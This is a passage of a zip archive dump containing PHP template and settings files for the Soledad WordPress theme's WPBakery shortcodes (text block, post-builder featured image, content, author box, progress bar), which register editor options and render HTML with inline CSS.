            </div>

			<?php
			if ( $color ) {
				$css = '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .tabs-name {';
				$css .= 'border-color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-default .products-tabs-title .tab-label:after,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-alt .products-tabs-title .tab-label:after {';
				$css .= 'background-color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .products-tabs-title li.active-tab-title,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .penci-owl-nav > div:hover,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .wrap-loading-arrow > div:not(.disabled):hover {';
				$css .= 'color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				wp_add_inline_style( 'penci-woocommerce', $css );
			}
			?>
        </div>
    </div>

<?php
$css_custom = '';
if ( $item_horizontal_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products{margin-left:-{{VALUE}}px;margin-right:-{{VALUE}}px}', $item_horizontal_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{padding-left:-{{VALUE}}px;padding-right:-{{VALUE}}px}', $item_horizontal_spacing );
}

if ( $item_vertical_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{margin-bottom:-{{VALUE}}px}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .products.product-list .penci-soledad-product .penci-product-loop-inner-content{margin-bottom:-{{VALUE}}px}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers{margin-top: calc( -25px -{{VALUE}}px)}', $item_vertical_spacing );
}

if ( $hide_hot_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.featured{display:none}';
}

if ( $hide_new_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.new{display:none}';
}

if ( $hide_sale_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.onsale{display:none}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_product, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\S&  &  .  js_composer/shortcodes/text_block/settings.phpnu [        <?php
vc_map( array(
	'base'          => 'penci_text_block',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/text_block/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Text Block', 'soledad' ),
	'description'   => __( 'A block of text with WYSIWYG editor', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type' => 'textarea_html',
				'holder' => 'div',
				'heading' => __( 'Text', 'soledad' ),
				'param_name' => 'content',
				'value' => __( '<p>I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.</p>', 'soledad' ),
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\L3~  ~  .  js_composer/shortcodes/text_block/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-text-block';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id = Penci_Vc_Helper::get_unique_id_block( 'text_block' );
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
		<div class="penci-block_content">
			<?php echo wpb_js_remove_wpautop( $content, true ); ?>
		</div>
	</div>
<?php
$id_facebook_page = '#' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_facebook_page, $atts );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_facebook_page, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\	  	  6  js_composer/shortcodes/pc_single_featured/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_featured",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_featured/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Featured Image', 'soledad' ),
	'description'   => 'Post Builder - Featured Image',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size', 'soledad' ),
			'param_name'       => 'penci_single_custom_thumbnail_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size for Mobile', 'soledad' ),
			'param_name'       => 'penci_single_custom_thumbnail_msize',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Disable Autoplay on Slider', 'soledad' ),
			'param_name'       => 'penci_disable_autoplay_single_slider',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Image Caption', 'soledad' ),
			'param_name'       => 'penci_post_gallery_caption',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Disable Image Lightbox', 'soledad' ),
			'param_name'       => 'penci_disable_lightbox_single',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Caption Color', 'soledad' ),
			'param_name'       => 'caption_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Caption Background Color', 'soledad' ),
			'param_name'       => 'caption_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\]=)  )  6  js_composer/shortcodes/pc_single_featured/frontend.phpnu [        <?php
$settings       = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class      = vc_shortcode_custom_css_class( $settings['css'] );
$simage_df_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
$simage_size    = $settings['penci_single_custom_thumbnail_size'] ? $settings['penci_single_custom_thumbnail_size'] : $simage_df_size;
if ( penci_is_mobile() ) {
	$simage_size = $settings['penci_single_custom_thumbnail_msize'] ? $settings['penci_single_custom_thumbnail_msize'] : 'penci-masonry-thumb';
}
if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );

	$image_width  = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'w', false );
	$image_height = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'h', false );
}
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_featured' );
$css_custom = '';
echo '<div id="' . $block_id . '" class="' . $css_class . '">';
if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
    <div class="standard-post-special post-image<?php if ( penci_get_post_format( 'quote' ) ): ?> penci-special-format-quote<?php endif; ?><?php if ( ! has_post_thumbnail() ) : echo ' no-thumbnail'; endif; ?>">
		<?php if ( has_post_thumbnail() ) : ?>
			<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                     src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                     width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
			<?php } else { ?>
				<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
			<?php } ?>
		<?php endif; ?>
        <div class="standard-content-special">
            <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
				echo ' penci-format-quote';
			} else {
				echo ' penci-format-link';
			} ?>">
                <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                <p class="dt-special">
					<?php
					if ( penci_get_post_format( 'quote' ) ) {
						$dt_content = get_post_meta( get_the_id(), '_format_quote_source_name', true );
						if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
					} else {
						$dt_content = get_post_meta( get_the_id(), '_format_link_url', true );
						if ( ! empty( $dt_content ) ):
							echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
						endif;
					}
					?>
                </p>
				<?php
				if ( penci_get_post_format( 'quote' ) ):
					$quote_author = get_post_meta( get_the_id(), '_format_quote_source_url', true );
					if ( ! empty( $quote_author ) ):
						echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
					endif;
				endif; ?>
            </div>
        </div>
    </div>

<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

	<?php $images = get_post_meta( get_the_id(), '_format_gallery_images', true ); ?>

	<?php if ( $images ) :
		$autoplay = ! $settings['penci_disable_autoplay_single_slider'] ? 'true' : 'false';
		?>
        <div class="post-image">
            <div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible"
                 data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                <div class="swiper-wrapper">
					<?php foreach ( $images as $image ) : ?>

						<?php $the_image = wp_get_attachment_image_src( $image, $simage_size ); ?>
						<?php $the_caption = get_post_field( 'post_excerpt', $image );
						$image_alt         = penci_get_image_alt( $image, get_the_ID() );
						$image_title_html  = penci_get_image_title( $image );
						?>
                        <div class="swiper-slide swiper-mark-item">
                            <figure class="item-link-relative penci-swiper-mask">
								<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
									<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                    <img class="penci-lazy"
                                         src="<?php echo penci_holder_image_base( $the_image[1], $the_image[2] ); ?>"
                                         width="<?php echo $the_image[1]; ?>" height="<?php echo $the_image[2]; ?>"
                                         data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } else { ?>
                                    <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                         width="<?php echo $the_image[1]; ?>" height="<?php echo $the_image[2]; ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } ?>
								<?php if ( $settings['penci_post_gallery_caption'] && $the_caption ): ?>
                                    <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
								<?php endif; ?>
                            </figure>
                        </div>

					<?php endforeach; ?>
                </div>
            </div>
        </div>
	<?php endif; ?>

<?php elseif ( penci_get_post_format( 'video' ) ) : ?>

    <div class="post-image">
		<?php $penci_video = get_post_meta( get_the_id(), '_format_video_embed', true ); ?>
		<?php if ( wp_oembed_get( $penci_video ) ) : ?>
			<?php echo wp_oembed_get( $penci_video ); ?>
		<?php else : ?>
			<?php echo $penci_video; ?>
		<?php endif; ?>
    </div>

<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

    <div class="standard-post-image post-image audio<?php if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) : echo ' no-thumbnail'; endif; ?>">
		<?php if ( has_post_thumbnail() ) : ?>
			<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                     width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                     src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
			<?php } else { ?>
				<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
			<?php } ?>
		<?php endif; ?>
        <div class="audio-iframe">
			<?php $penci_audio = get_post_meta( get_the_id(), '_format_audio_embed', true );
			$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
			<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
				<?php echo wp_oembed_get( $penci_audio ); ?>
			<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
				<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
			<?php else : ?>
				<?php echo $penci_audio; ?>
			<?php endif; ?>
        </div>
    </div>

<?php else : ?>

	<?php if ( has_post_thumbnail() ) : ?>

        <div class="post-image">
			<?php
			if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
				$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( get_the_id() ) );
				echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
				?>
				<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                    <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                         width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                         src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                         alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                         data-sizes="<?php echo penci_image_datasize( $simage_size, 'penci-masonry-thumb' ); ?>"
                         data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $simage_size, 'penci-masonry-thumb' ); ?>"
                         data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
				<?php } else { ?>
					<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
				<?php } ?>
				<?php
				echo '</a>';
			} else {
				?>
				<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                    <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                         width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                         src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                         alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                         data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
				<?php } else { ?>
					<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
				<?php } ?>
				<?php
			}
			if ( get_the_post_thumbnail_caption() && $settings['penci_post_gallery_caption'] ) {
				echo '<div class="penci-featured-caption">' . get_the_post_thumbnail_caption() . '</div>';
			}
			?>
        </div>

	<?php endif; ?>

<?php endif;
echo '</div>';
$css = [
	'caption_color'   => [ '{{WRAPPER}} .penci-single-gallery-captions' => 'color:{{VALUE}}' ],
	'caption_bgcolor' => [ '{{WRAPPER}} .penci-single-gallery-captions' => 'background-color:{{VALUE}}' ]
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     0w\Y-  -  5  js_composer/shortcodes/pc_single_content/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_content",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_content/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Content', 'soledad' ),
	'description'   => 'Post Builder - Content',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Blockquote Style', 'soledad' ),
			'param_name'       => 'block_style',
			'value'            => array(
				'style-1' => 'style-1',
				'Style 2' => 'style-2',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text Color', 'soledad' ),
			'param_name'       => 'main-text-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'main-link-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'main-link-hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H1 Color', 'soledad' ),
			'param_name'       => 'content-h1-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H2 Color', 'soledad' ),
			'param_name'       => 'content-h2-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H3 Color', 'soledad' ),
			'param_name'       => 'content-h3-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H4 Color', 'soledad' ),
			'param_name'       => 'content-h4-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H5 Color', 'soledad' ),
			'param_name'       => 'content-h5-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H6 Color', 'soledad' ),
			'param_name'       => 'content-h6-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\g>o
  
  5  js_composer/shortcodes/pc_single_content/frontend.phpnu [        <?php
$settings    = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_style = $settings['block_style'];
$block_id    = Penci_Vc_Helper::get_unique_id_block( 'pc_single_content' );
$css_class   = vc_shortcode_custom_css_class( $settings['css'] );
$css_custom  = '';
?>
    <article class="post">
        <div id="<?php echo $block_id; ?>" class="post-entry <?php echo $css_class . ' blockquote-' . $block_style; ?>">
            <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

				<?php do_action( 'penci_action_before_the_content' ); ?>

				<?php the_content(); ?>

				<?php do_action( 'penci_action_after_the_content' ); ?>

                <div class="penci-single-link-pages">
					<?php wp_link_pages(); ?>
                </div>
            </div>
        </div>
    </article>
<?php
if ( $settings['main-text-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry{color:' . $settings['main-text-color'] . ';}';
}
if ( $settings['main-link-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry a{color:' . $settings['main-link-color'] . ';}';
}
if ( $settings['main-link-hcolor'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry a:hover{color:' . $settings['main-link-hcolor'] . ';}';
}
if ( $settings['main-text-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry{color:' . $settings['main-text-color'] . ';}';
}
if ( $settings['main-text-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry{color:' . $settings['main-text-color'] . ';}';
}
if ( $settings['content-h1-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h1-color'] . ';}';
}
if ( $settings['content-h2-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h2-color'] . ';}';
}
if ( $settings['content-h3-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h3-color'] . ';}';
}
if ( $settings['content-h4-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h4-color'] . ';}';
}
if ( $settings['content-h5-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h5-color'] . ';}';
}
if ( $settings['content-h6-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h6-color'] . ';}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( '#' . $block_id, $settings['responsive_spacing'] );
}
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\}pfD
  D
  4  js_composer/shortcodes/pc_single_author/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_author",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_author/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Author', 'soledad' ),
	'description'   => 'Post Builder - Author',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Author Box Style', 'soledad' ),
			'param_name'       => 'penci_authorbio_style',
			'value'            => array(
				'Default' => 'style-1',
				'Style 2' => 'style-2',
				'Style 3' => 'style-3',
				'Style 4' => 'style-4',
				'Style 5' => 'style-5',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Author Box Image Style', 'soledad' ),
			'param_name'       => 'penci_bioimg_style',
			'value'            => array(
				'Round'         => 'round',
				'Square'        => 'square',
				'Round Borders' => 'sround',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Image Size', 'soledad' ),
			'param_name'       => 'penci_author_ava_size',
			'edit_field_class' => 'vc_col-sm-6',
			'std'              => 100
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Author Name', 'soledad' ),
			'param_name'       => 'color_name',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for General Text', 'soledad' ),
			'param_name'       => 'color_text',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Text Link', 'soledad' ),
			'param_name'       => 'color_link',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Hover Color for Text Link', 'soledad' ),
			'param_name'       => 'hcolor_link',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\D    4  js_composer/shortcodes/pc_single_author/frontend.phpnu [        <?php
$settings  = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class = vc_shortcode_custom_css_class( $settings['css'] );
$mods      = [
	'penci_authorbio_style',
	'penci_author_ava_size',
	'penci_bioimg_style'
];
foreach ( $mods as $mod ) {
	$value = $settings[ $mod ];
	add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
		return $value;
	} );
}
echo '<div class="' . $css_class . '">';
get_template_part( 'inc/templates/about_author' );
echo '</div>';
PK     0w\gպ    0  js_composer/shortcodes/progress_bar/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_progress_bar',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/progress_bar/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Progress Bar', 'soledad' ),
	'description'   => __( 'Progress Bar Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'        => 'param_group',
				'heading'     => __( 'Values', 'soledad' ),
				'param_name'  => 'values',
				'description' => __( 'Enter values for graph - value, title and color.', 'soledad' ),
				'value'       => urlencode( json_encode( array(
					array(
						'label' => __( 'Development', 'soledad' ),
						'value' => '90',
					),
					array(
						'label' => __( 'Design', 'soledad' ),
						'value' => '80',
					),
					array(
						'label' => __( 'Marketing', 'soledad' ),
						'value' => '70',
					),
				) ) ),
				'params'      => array(
					array(
						'type'        => 'textfield',
						'heading'     => __( 'Label', 'soledad' ),
						'param_name'  => 'label',
						'description' => __( 'Enter text used as title of bar.', 'soledad' ),
						'admin_label' => true,
					),
					array(
						'type'        => 'textfield',
						'heading'     => __( 'Value', 'soledad' ),
						'param_name'  => 'value',
						'description' => __( 'Enter value of bar.', 'soledad' ),
						'admin_label' => true,
					),
					array(
						'type'        => 'colorpicker',
						'heading'     => __( 'Custom background color', 'soledad' ),
						'param_name'  => 'bgcolor',
						'description' => __( 'Select custom single bar background color.', 'soledad' )
					),
					array(
						'type'        => 'colorpicker',
						'heading'     => __( 'Custom text color', 'soledad' ),
						'param_name'  => 'textcolor',
						'description' => __( 'Select custom single bar text color.', 'soledad' ),
						'dependency'  => array(
							'element' => 'color',
							'value'   => array( 'custom' ),
						),
					),
				),
			),
			array(
				'type'       => 'penci_only_number',
				'heading'    => esc_html__( 'Custom height for bar', 'soledad' ),
				'param_name' => 'bar_height',
				'value'      => '',
				'min'        => 1,
				'max'        => 100,
				'suffix'     => 'px',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'heading'    => esc_html__( 'Custom margin top for bar', 'soledad' ),
				'param_name' => 'bar_mar_top',
				'value'      => '',
				'min'        => 1,
				'max'        => 100,
				'suffix'     => 'px',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'heading'    => esc_html__( 'Custom margin bottom for bar', 'soledad' ),
				'param_name' => 'bar_mar_bottom',
				'value'      => '',
				'min'        => 1,
				'max'        => 100,
				'suffix'     => 'px',
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Units', 'soledad' ),
				'param_name'  => 'units',
				'description' => __( 'Enter measurement units (Example: %, px, points, etc. Note: graph value and units will be appended to graph title).', 'soledad' ),
			),
			array(
				'type'       => 'checkbox',
				'heading'    => __( 'Options', 'soledad' ),
				'param_name' => 'options',
				'value'      => array(
					__( 'Add stripes', 'soledad' )                                          => 'striped',
					__( 'Add animation (Note: visible only with striped bar).', 'soledad' ) => 'animated',
				),
			)
		),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'progress_typo_heading',
				'heading'          => esc_html__( 'Progress Bar', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'        => 'colorpicker',
				'heading'     => __( 'Bar custom text color', 'soledad' ),
				'param_name'  => 'bar_textcolor',
				'description' => __( 'Select custom text color for bars.', 'soledad' ),
				'group'       => $group_color,
			),
			array(
				'type'        => 'colorpicker',
				'heading'     => __( 'Bar process run custom background color', 'soledad' ),
				'param_name'  => 'bar_run_bgcolor',
				'description' => __( 'Select custom background color for bars.', 'soledad' ),
				'group'       => $group_color,
			),
			array(
				'type'        => 'colorpicker',
				'heading'     => __( 'Bar custom background color', 'soledad' ),
				'param_name'  => 'bar_bgcolor',
				'description' => __( 'Select custom background color for bars.', 'soledad' ),
				'group'       => $group_color,
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\z5  5  0  js_composer/shortcodes/progress_bar/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$bar_height    = $bar_mar_top = $bar_mar_bottom = '';
$bar_textcolor = $bar_run_bgcolor = $bar_bgcolor = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$values = (array) vc_param_group_parse_atts( $atts['values'] );

if ( empty( $values ) ) {
	return;
}

